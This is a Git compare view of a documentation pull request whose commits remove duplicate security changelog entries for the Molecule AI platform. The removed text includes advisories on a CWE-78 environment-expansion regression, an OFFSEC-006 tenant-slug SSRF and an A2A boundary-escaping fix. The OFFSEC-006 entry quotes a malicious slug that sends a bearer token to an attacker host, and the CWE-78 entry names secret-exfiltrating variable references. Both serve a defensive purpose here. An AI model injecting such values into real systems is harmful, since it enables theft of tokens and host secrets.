Compare commits

..

9 Commits

Author SHA1 Message Date
Molecule AI App & Docs Lead c02acce869 fix(changelog): remove CWE-78 + OFFSEC-003 duplicates (docs#49 is canonical)
Both entries are in docs#49's changelog.mdx (workspace-abilities-
broadcast-changelog-2026-05-15). Removes duplicates to avoid
merge conflicts. Bug fixes and internal entries remain.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-16 13:44:03 +00:00
documentation-specialist 3df74aa87a docs(security/changelog): remove CWE-78 entry — already covered by docs#49
CI / build (pull_request) Waiting to run
Secret scan / secret-scan (pull_request) Waiting to run
The CWE-78 expandWithEnv POSIX-identifier guard regression entry is
authoritatively covered in docs#49's security/changelog.md. Removes the
duplicate from this PR to avoid merge conflicts.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-16 13:40:53 +00:00
documentation-specialist 151ae5543a docs(changelog): fix blank-line concatenation bug and remove duplicate CWE-78 entry
- Add blank line between CWE-78 and OFFSEC-003 Security entries (fixes
  MDX rendering concatenation bug)
- Remove duplicate expandWithEnv guard entry from Bug fixes section
  (CWE-78 is already covered in the Security section above)
- security/changelog.md change removed — CWE-78 is covered by docs#49

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-16 13:40:39 +00:00
app-lead 7f0bbcd97f fix(docs): remove OFFSEC-006 changelog bullet (set -f not in promote-tenant-image.sh; authoritative entry in docs#41)
Secret scan / secret-scan (pull_request) Successful in 42s
CI / build (pull_request) Successful in 2m56s
2026-05-15 09:10:39 +00:00
app-lead 65f417b3c0 fix(docs): remove OFFSEC-006 changelog bullet (set -f not in promote-tenant-image.sh; authoritative entry in docs#41)
Secret scan / secret-scan (pull_request) Successful in 14s
CI / build (pull_request) Successful in 3m11s
2026-05-15 09:10:12 +00:00
app-lead f0d2a5b960 fix(docs): remove OFFSEC-006 entry from changelog.mdx per hongming-pc2 review (set -f not in script; docs#41 has authoritative entry)
Secret scan / secret-scan (pull_request) Successful in 8s
CI / build (pull_request) Successful in 1m2s
2026-05-15 09:09:06 +00:00
app-fe c24bd9cd98 fix(docs): remove duplicate OFFSEC-006 and 2026-05-15 entries per hongming-pc2 review
Secret scan / secret-scan (pull_request) Successful in 53s
CI / build (pull_request) Successful in 2m53s
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 09:01:31 +00:00
app-lead edca18e875 fix(docs): remove duplicate OFFSEC-006/SSRF section per hongming-pc2 review (docs#41 has authoritative entry)
Secret scan / secret-scan (pull_request) Successful in 1s
CI / build (pull_request) Successful in 4m0s
2026-05-15 08:57:40 +00:00
app-lead e1e54e976c fix(docs): remove duplicate 2026-05-15 section per hongming-pc2 review (docs#49 has authoritative entry)
Secret scan / secret-scan (pull_request) Successful in 32s
CI / build (pull_request) Successful in 3m20s
2026-05-15 08:56:27 +00:00
2 changed files with 0 additions and 38 deletions
-7
View File
@@ -10,15 +10,8 @@ Entries are published daily at 23:50 UTC.
## 2026-05-14
### 🔒 Security
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
### 🐛 Bug fixes
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
-31
View File
@@ -9,37 +9,6 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
---
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
**Severity:** Critical (CWE-78)
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
**Affected:** `workspace-server/internal/handlers/org_helpers.go``expandWithEnv`
### Vulnerability
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
### Fix
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
```go
c := key[0]
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
return "$" + key // not a valid shell identifier — return literally
}
```
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
### User-facing summary
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
---
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
**Severity:** High (CWE-22)